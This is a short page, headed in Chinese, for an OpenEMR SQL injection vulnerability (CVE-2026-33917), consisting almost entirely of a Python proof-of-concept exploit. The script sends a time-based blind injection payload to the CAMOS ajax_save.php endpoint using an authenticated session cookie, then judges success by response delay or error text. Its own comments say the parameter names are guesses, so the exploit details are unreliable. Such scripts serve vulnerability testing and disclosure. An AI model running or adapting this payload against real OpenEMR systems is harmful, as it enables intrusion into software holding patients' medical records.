CVE-2026-33917 OpenEMR SQL注入漏洞

import requests def exploit_openemr_sqli(target_url, session_cookie): """ Proof of Concept for CVE-2026-33917 Exploits SQL Injection in OpenEMR CAMOS ajax_save form. Requires valid authenticated session. """ # The vulnerable endpoint vuln_endpoint = f"{target_url}/interface/forms/CAMOS/ajax_save.php" # Headers including the session cookie (PR:L requirement) headers = { "Content-Type": "application/x-www-form-urlencoded", "Cookie": f"PHPSESSID={session_cookie}" } # Malicious payload to test SQL Injection # This payload attempts to cause a time-based delay or extract data # Adjust parameter names based on the actual form parameters payload = { "form_id": "1' OR SLEEP(5)-- -", # Time-based blind injection test "action": "save", "note": "Test" } try: response = requests.post(vuln_endpoint, data=payload, headers=headers, timeout=10) # Analyze response time or content to confirm vulnerability if response.elapsed.total_seconds() >= 5: print("[+] Vulnerability confirmed: SQL Injection caused a delay.") elif "error" in response.text.lower(): print("[+] Potential SQL Syntax Error detected in response.") else: print("[-] Exploit sent but could not confirm vulnerability via simple heuristic.") print(f"Status Code: {response.status_code}") print(f"Response: {response.text[:200]}") except requests.RequestException as e: print(f"[!] Request failed: {e}") if __name__ == "__main__": # Example usage # Replace with actual target and valid session cookie target = "http://localhost/openemr" s_cookie = "valid_session_id_here" exploit_openemr_sqli(target, s_cookie)